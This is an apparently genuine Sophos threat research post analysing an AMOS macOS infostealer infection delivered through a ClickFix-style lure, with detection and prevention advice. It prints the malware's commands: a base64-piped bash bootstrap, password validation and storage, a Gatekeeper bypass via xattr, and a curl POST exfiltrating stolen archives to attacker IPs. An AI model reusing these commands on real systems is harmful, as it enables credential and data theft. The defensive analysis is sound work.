Skip to Content

Why AMOS matters: The macOS malware stealing data at scale

Sophos X-Ops looks at the Atomic macOS Stealer and its capabilities

Sophos Managed Detection and Response (MDR) teams recently responded to a customer incident involving an infostealer infection on a macOS host. When we investigated, we found that the infostealer appeared to be a variant of AMOS (Atomic macOS), a well-known malware family we’ve written about before.

The attack began with a ClickFix-style ruse, where a user was tricked into running a terminal command. This isn’t the first time we’ve seen this social engineering technique used in conjunction with macOS infostealers; in March this year we reported on multiple variants of the MacSync stealer adopting the same approach.

AMOS is a significant threat; it accounted for almost 40% of our macOS protection updates in 2025 (more than double any other macOS malware family), and almost half of macOS stealer customer reports in the last three months, as of this writing. Part of a malware-as-a-service (MaaS) offering, it’s optimized to steal Keychain data, browser credentials, cookie, autofill information, and other high-value artifacts (such as cryptocurrency wallet information), enabling rapid account takeover and follow-on attacks. It’s been tracked in public reporting since at least April 2023.

More recently, in August 2025, CrowdStrike reported on a campaign involving an AMOS variant dubbed ‘SHAMOS.’ In December 2025, Huntress noted incidents involving AMOS delivery via poisoned search results relating to ChatGPT/Grok conversations, and in February 2026 Microsoft referenced AMOS within the broader context of infostealers expanding into macOS and abusing trusted platforms and utilities for distribution.

As many previous reports note, and as in the case we investigated, AMOS campaigns typically rely on social engineering rather than exploit chains. In some cases, threat actors use fake installers or ‘cracked app’ lures, although ClickFix appears to be an increasingly prominent infection vector. More recently, and as we described in our MacSync piece, researchers have reported the use of lures relating to AI models.

This social engineering isn’t limited to the initial infection, however. A recurring behavior noted by defenders is repeated password prompting until the victim provides their macOS password, which is then used to perform privileged actions.

Attack chain overview

  1. Social engineering persuades the user to execute a command in Terminal 
  2. First stage bootstrap script is downloaded and executed 
  3. Malware captures and validates the user’s macOS password 
  4. Second stage payload is retrieved and executed with elevated privileges 
  5. Anti‑analysis routine checks detect virtualized environments 
  6. Malware collects extensive user and system data (Keychain database, macOS password, Firefox and Chrome profile data, Apple Notes, extension storage, host and system profile data, and cryptocurrency-related information) 
  7. Stolen data is archived and prepared for exfiltration 
  8. Data is sent to attacker infrastructure 
  9. Persistence is established using LaunchDaemon 
  10. System registers with command‑and‑control (C2) server

Bootstrapping

The command provided on the attacker-controlled site – which the user was tricked into running in Terminal – downloads and executes a bootstrapping script with the following command:

echo <b64> | base64 -d | bash 
curl -fsSL hxxps://sphereou[.]com/cleanera 

Password validation 

The malware prompts the user for their macOS system password and validates it locally. Once validated, the password is stored in a hidden file for later use. 

username=$(whoami)
dscl . -authonly "$username" "$password"
echo -n "$password" > "/Users/$username/.pass"

Second stage payload deployment 

After collecting the password, the malware downloads a secondary payload from hxxps[://]sphereou[.]com/cleaner3/update and saves it to /tmp/update. Extended attributes are removed to bypass macOS security warnings, and the file is executed.

curl -o /tmp/update hxxps://sphereou[.]com/cleaner3/update
echo "<PASSWORD>" | sudo -S xattr -c /tmp/update
chmod +x /tmp/update
/tmp/update

Anti‑analysis

To evade automated detection, the malware checks whether it is running in a virtual machine or sandbox environment by querying system_profiler data via osascript and looking for specific hardware values.

Indicators checked include: 

  • QEMU
  • VMware
  • KVM

Credential and session harvesting 

The malware prepares directories under /tmp to store collected data. It also retrieves a hardware UUID to uniquely identify the victim system, and performs some basic host enumeration:

whoami, id, hostname, ioreg IOPlatformUUID 

Example staging paths:
/tmp/91897/
/tmp/91897/FileGrabber/NotesMedia/

In this case we investigated, the threat actor used several AMOS configuration flags (CONFIG_STEAL_FINDER, CONFIG_STEAL_NOTES_API, and CONFIG_STEAL_HISTORY) to drive collection routines.

AMOS proceeds to collect a wide range of sensitive data, including: 

  • macOS Keychain database
  • Firefox browser data (cookies, saved passwords, form history)
  • Chrome/Chromium profiles
  • Extension storage and IndexedDB files
  • Local browser session tokens

In the variant we analyzed, AMOS’s module set also included fake Ledger Wallet and Trezor Suite applications, suggesting capabilities related to cryptocurrency credential and seed theft.

Archiving and exfiltration 

Collected files are compressed into a single archive using macOS utilities, before being sent to an attacker-controlled server. 

ditto -c -k --sequesterRsrc /tmp/91897/ /tmp/out.zip
curl -X POST -F "file=@/tmp/out.zip" hxxp://38[.]244[.]158[.]56/contact 

Persistence

To maintain long‑term access, the attacker achieves persistence via a LaunchDaemon. A hidden helper binary is stored in the user directory and configured to run automatically. 

Example persistence path:
/Library/LaunchDaemons/com.finder.helper.plist

C2

The infected system registers with the C2 server and periodically retrieves instructions. Example C2 endpoints:
hxxp://45[.]94[.]47[.]204/api/join/
hxxp://45[.]94[.]47[.]204/api/tasks/

amos-attack-chain

Figure 1: The AMOS attack chain

MITRE ATT&CK mapping

Attack StageActivity DescriptionMITRE ATT&CK TacticTechnique IDTechnique Name
Initial ExecutionUser executes a malicious Terminal command that begins the infection chainExecutionT1059.004Command and Scripting Interpreter: Unix Shell
Stage 1 LoaderBootstrap script runs and downloads/executes additional componentsExecutionT1059Command and Scripting Interpreter
Credential PromptFake prompt captures the user’s system passwordCredential AccessT1056Input Capture
Stage 2 PayloadSecondary payload is executed to deploy the stealer functionalityExecutionT1059 / T1106

Command Execution / Native API

Environment ChecksMalware performs checks to gather system information and validate execution environmentDiscoveryT1082System Information Discovery
Credential HarvestingSensitive credentials are extracted from browsers and macOS Keychain

Credential Access

T1555

Credentials from Password Stores

Data PreparationStolen data is compressed or archived before transmission

Collection

T1560

Archive Collected Data

Data ExfiltrationHarvested data is transmitted to attacker-controlled infrastructureExfiltration

T1041

Exfiltration Over C2 Channel

Persistence MechanismMalware installs persistence mechanisms (e.g., Launch Agents) to survive reboots

Persistence

T1543.001

Create or Modify System Process: Launch Agent

Keeping safe

Detection opportunities

  • dscl authentication attempts followed by hidden password storage
  • Creation of staging directories under /tmp
  • Compression of large credential datasets using ditto
  • curl outbound POST requests sending archive files to external IPs
  • Creation of LaunchDaemons with root ownership
  • Access to browser credential stores and Notes/Keychain-relevant data paths from non-standard processes
  • Host-based artifacts may include:
    • /Users/<username>/.pass 
    • /tmp/update 
    • /tmp/91897/ 
    • /tmp/out.zip 
    • /Users/<username>/.agent 
    • /Users/<username>/.mainhelper - /Library/LaunchDaemons/com.finder.helper.plist

Prevention opportunities

  • Block and alert on user-initiated Terminal paste-and-run execution patterns (ClickFix-style). 
  • Enforce Gatekeeper and notarization requirements; disallow “Anywhere” execution settings. 
  • Keep XProtect and system security updates enabled and fully up to date. 
  • Remove local admin rights by default; require privileged elevation only when necessary. 
  • Block execution of unsigned/untrusted binaries from user home hidden paths (dot-prefixed executables). 
  • Monitor and alert on new/modified LaunchDaemons in /Library/LaunchDaemons/ (e.g., com.finder.helper.plist)
  • Restrict installation of unapproved wallet/crypto apps

Sophos protections

  • OSX-CRD-PRC-STEAL-BROWSER-DATA-1
  • OSX-COL-PRC-SUSP-DITTO-1
  • OSX/Infostl-FH
  • OSX/InfoStl-GA

Conclusion 

Mainstream malware now regularly affects macOS users – particularly when it comes to infostealers, which regularly account for a significant portion of all the macOS detections we see in telemetry. 

AMOS, in particular, remains a significant concern. Like many of its ilk, its use of social engineering to bypass security controls makes it a potent threat. As we noted in our MacSync article, the specific lures used by threat actors are continuing to adapt in response to wider social and technological trends. 

We’ll continue to monitor for and investigate macOS infostealer infections, update protection and detection information as appropriate, and publish research on this fast-evolving region of the threat landscape as data becomes available.

IOCs relating to this article will be available on our GitHub repository.

Acknowledgments

Sophos X-Ops would like to thank Jagadeesh Chandraiah of SophosLabs for his contribution to this report.

 

About the author

Mohammed-Zubair-author-photo

Mohammed Zubair

Mohammed Zubair is an MDR Threat Analyst 3 at Sophos, working remotely from Hyderabad. He leads incident investigations, performs threat hunting, and managing operations as a shift lead. Zubair holds a Master’s degree in Information Security and Digital Forensics from the UK. In his free time, he enjoys exploring new restaurants, trying different cuisines, and traveling to different parts of the world.

Pratyush-Pritimay-author-photo

Pratyush Pritimay

Pratyush Pritimay is a cybersecurity professional working as a Threat Analyst 2 at Sophos. His work spans threat hunting, incident response, and digital forensics, with growing interests in malware analysis and detection engineering. He enjoys investigating security alerts, studying attacker behavior, and helping strengthen defenses through practical, evidence-driven analysis.

Outside of work, Pratyush is a literature enthusiast, community builder, and gamer. He enjoys reading and writing creative fiction, mentoring cybersecurity learners, supporting cyber awareness along with community initiatives, and unwinding with FPS games.

Vibhanshu-Tripathi-author-photo

Dr Vibhanshu Tripathi

Vibhanshu Tripathi is a team lead at Sophos, working remotely from Uttar Pradesh (UP) India. He leads a MDR team, managing day to day threat operations. Enjoys working in malware analysis and detection engineering. Vibhanshu holds 9+ years of IT experience. In his free time, he enjoys exploring new places, thoughts, perspectives and technologies
Nandigama-Chaitanya-author-photo

Nandigama Chaitanya

Vishnu Chaitanya is a Team Lead at Sophos with close to nine years of experience in cybersecurity. Based in Hyderabad, Telangana, he manages a remote team and has a keen interest in threat investigation and malware analysis. Outside of work, he enjoys playing cricket.